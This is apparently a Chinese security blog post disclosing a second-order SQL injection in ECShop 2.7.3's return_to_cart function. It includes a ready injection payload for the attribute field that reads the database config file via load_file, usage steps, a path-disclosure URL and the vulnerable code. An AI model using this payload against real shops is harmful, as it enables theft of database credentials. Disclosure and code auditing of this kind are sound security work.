代码审计:ecshop 2.73 lib_transaction.php文件二次SQL注

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

漏洞提供者:蘑菇街

对蘑菇街表示感谢,本博客欢迎投稿。

 

一个二次注入,insert型,可直接读取数据库管理员信息
利用过程:找个商品购买,修改颜色单选按钮的value2′),(‘6’, ‘c4598c0015367d28cfcb267fffc750fd’, ’13’, ‘ECS000013’, mid(load_file(‘C:/wamp/www/ec/data/config.php’),70,120), ‘1573.20’, ‘1200’, ‘3’, ”, ‘1’, ”, ‘0’, ‘0’, ‘0’, ‘217’) — a

 

然后保存,去结算,提交订单,去用户中心,找到这个订单,打开,点放回购物车

 

这里已经触发注入了,我们再去购物车看看

数据库信息.
涉及版本:ECShop_V2.7.3_UTF8_release1106是否需要登录:是是否默认配置:是有无利用代码:code
漏洞细节:
赠送个爆路径漏洞,有利于我们获取数据库配置文件物理位置/install/templates/active.php
分析下漏洞产生原因:\includes\lib_transaction.php这个方法function return_to_cart($order_id)看下面的代码
// 
要返回购物车的商品

        $return_goods = array(
             'goods_id'      => $row['goods_id'],
             'goods_sn'      => addslashes($goods['goods_sn']),
             'goods_name'    => addslashes($goods['goods_name']),
             'market_price'  => $goods['market_price'],
             'goods_price'   => $goods['goods_price'],
             'goods_number'  => $row['goods_number'],
             'goods_attr'    => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']),
             'goods_attr_id'    => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'],
             'is_real'       => $goods['is_real'],
             'extension_code'=> addslashes($goods['extension_code']),
             'parent_id'     => '0',
             'is_gift'       => '0',
             'rec_type'      => CART_GENERAL_GOODS
         );

 
goods_attr_id 这个从数据库里取出来的,是之前提交订单保存进去的非法数据,在这里导致二次注入990行代码中被执行了$GLOBALS[‘db’]->autoExecute($GLOBALS[‘ecs’]->table(‘cart’), $return_goods, ‘INSERT’);

Tags:

ECshop漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:ecshop 2.73 lib_transaction.php文件二次SQL注